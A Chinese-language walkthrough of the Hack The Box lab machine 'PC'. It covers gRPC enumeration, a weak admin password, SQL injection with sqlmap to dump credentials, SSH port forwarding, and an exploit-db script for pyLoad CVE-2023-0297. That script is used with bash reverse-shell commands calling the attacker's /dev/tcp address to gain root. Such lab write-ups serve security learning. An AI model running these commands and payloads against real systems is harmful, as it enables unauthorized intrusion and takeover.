HTB-PC红队靶机，由sql注入引发的彻底沦陷

一、信息收集

端口扫描

# 快速探测存活端口
nmap 10.10.11.214 -p- --min-rate 5000

# 详细探测已知端口
nmap 10.10.11.214 -p22,50051 -sC -sV

22 和 50051 端口开放，搜索得知此端口很可能是 gRPC 服务

gRPC是Google Remote Procedure Call，底层采用http2协议。gRPC是一个开源的RPC框架，用于创建可扩展和快速的API。它使网络系统的开发以及gRPC客户端和服务器应用程序之间的开放通信成为可能。

服务探测

可以使用 postman、grpcui 等调试工具进行连接，以 grpcui 为例，进入 GitHub release 页面下载二进制可执行文件即可

https://github.com/fullstorydev/grpcui

执行命令，该工具在本地生成了一个端口

./grpcui -plaintext 10.10.11.214:50051

通过浏览器访问，发现名为的 SimpleApp 服务共有三个接口，分别是 登录、注册、获取用户信息

在登录接口尝试弱口令

账户admin/admin登录成功，返回 id 和 token

二、漏洞利用

使用 getInfo 接口填入 id 参数查询管理员的信息

返回验证失败，提示 header 头中缺少 token

这个页面没有修改 heander 的地方，通过 burpsuite 抓包，然而将上面得到的 token 添加到 cookie 中结果仍是一样

经过搜索才得知，gRPC 使用 metadata 将 http 头部传递数据进行了封装，所以不是在 burp 请求包的 header 中直接添加 token，而是在请求中的 metadata 处添加

{
"name":"token",
"value":"eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoiYWRtaW4iLCJleHAiOjE2ODY4MDE1NDh9.rXuMT0OfzDY0BQfLZDrV4FDVk_WPYyR33a3joBVSa4c"
}

返回成功，但是没有有价值的信息

id参数加上单引号，出现报错信息，很可能存在 sql 注入

将请求包保存到文件中，使用 sqlmap 扫描

sqlmap -r 1.txt --batch                                # 失败
sqlmap -r 1.txt --batch    --level3 --risk 3# 失败
sqlmap -r 1.txt --batch -f --dbms='sqlite'# 成功

有时候不指定数据库类型检测不到漏洞，指定了就能检测出了，可以使用 dbms 分别测试多种数据库

数据库是 sqlite3，存在布尔注入和联合查询注入

# sqlmap -r 1.txt --batch --dbms='sqlite' --tables
+----------+
| accounts |
| messages |
+----------+

# sqlmap -r 1.txt --batch --dbms='sqlite' --columns -T accounts
+----------+------+
| Column   | Type |
+----------+------+
| password | TEXT |
| username | TEXT |
+----------+------+

# sqlmap -r 1.txt --batch --dbms='sqlite' --dump -T accounts
+------------------------+----------+
| password               | username |
+------------------------+----------+
| admin                  | admin    |
| HereIsYourPassWord1431 | sau      |
+------------------------+----------+

在 accounts 表中查到两组用户密码 admin 和 sau，利用这两个账号尝试登录 22 端口

admin 登录失败，sau 登录成功，获得第一个普通用户 flag

三、权限提升

内核提权

使用linux_exploit_suggester.sh自动化脚本检测未修补的提权漏洞

尝试了多个提权 CVE 都失败

服务漏洞提权

查看端口运行情况，发现一个 nmap 没探测到的 8000 端口

netstat -tunlp

8000 端口一般是 web 服务，设置了只能目标机器本地访问，攻击机无法直接访问

前面已经拿到目标机器的普通用户权限，可以在攻击机使用 ssh 命令进行端口转发

将目标机器 (10.10.11.214) 的 8000 端口和攻击机的 8001 端口做映射

# ssh -L <本地地址:本地端口:远程地址:远程端口>
ssh -L 127.0.0.1:8001:127.0.0.1:8000 [email protected]
# 或者
ssh -L 8001:127.0.0.1:8000 [email protected]

命令解释：

• • -L表示本地端口转发
• • 第一个127.0.0.1表示攻击机 IP，也可以写成具体IP10.10.14.11等，127.0.0.1 可以省略不写
• • 8081是攻击机映射的端口
• • 第二个127.0.0.1表示目标机器 IP，必须固定写成 127.0.0.1 回环地址，不是目标机的具体 IP
• • 8000表示目标机器要映射的端口
• • [email protected]登录目标机器

通过浏览器访问后发现是一款用 python 语言编写的下载管理器 pyload

在 exploit-db.com 搜索pyload关键词得到一条 RCE 脚本，CVE-2023-0297

python3 51522.py -u "http://127.0.0.1:8001" -c "echo 123 > 123.txt"

可以成功执行命令，以 root 用户创建了文件123.txt

攻击机开启 nc 监听

nc -lvnp 1234

# 反弹 shell 失败
python3 51522.py -u "http://127.0.0.1:8001" -c "bash -i >& /dev/tcp/10.10.14.10/1234 0>&1"

# &符号URL编码，失败
python3 51522.py -u "http://127.0.0.1:8001" -c "bash -i >%26 /dev/tcp/10.10.14.10/1234 0>%261"

# 指定/bin/bash解释器，并把&符号URL编码，成功
python3 51522.py -u "http://127.0.0.1:8001" -c "/bin/bash -c 'bash -i >%26 /dev/tcp/10.10.14.10/1234 0>%261'"

反弹 shell 成功，是 root 权限，获取到第二个 flag

原文始发于微信公众号（红队安全圈）：HTB-PC红队靶机，由sql注入引发的彻底沦陷